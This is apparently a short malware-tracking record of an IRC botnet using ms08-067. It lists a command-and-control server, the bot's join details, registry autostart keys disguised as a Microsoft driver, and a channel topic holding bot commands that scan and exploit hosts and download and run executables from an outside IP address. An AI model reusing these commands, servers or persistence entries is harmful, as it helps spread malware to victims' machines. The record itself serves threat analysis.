174-143-210-150.static.cloud-ips.com ( ms08-067 ) ( J )

174.143.210.150:80

JOIN #xx10
MODE [00_USA_XP_7029018] -ix
IDENT SP3-191
USERNAME Peter

Topic is '.asc -S -s |.http http://94.76.194.116/xx10.exe |.asc exp_all 15 5 0 -a -r -e |.asc exp_all 10 5 0 -b -r -e |.asc exp_all 10 5 0 -c -e |.asc exp_all 3 5 0 -b -r |.asc exp_all 3 5 0 -c |.down -S |.down http://94.76.194.116/brown.jpg c:\b2k8o4l4q3z1.exe c:\b2k8o4l4q3z1.exe -r -h'

Autostart path
HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVersion\​Run\​
Microsoft Driver Setup = C:\​WINDOWS\​system32\​drivers\​explorer.exe
HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVersion\​policies\​Explorer\​Run\​
Microsoft Driver Setup =C:\​WINDOWS\​system32\​drivers\​explorer.exe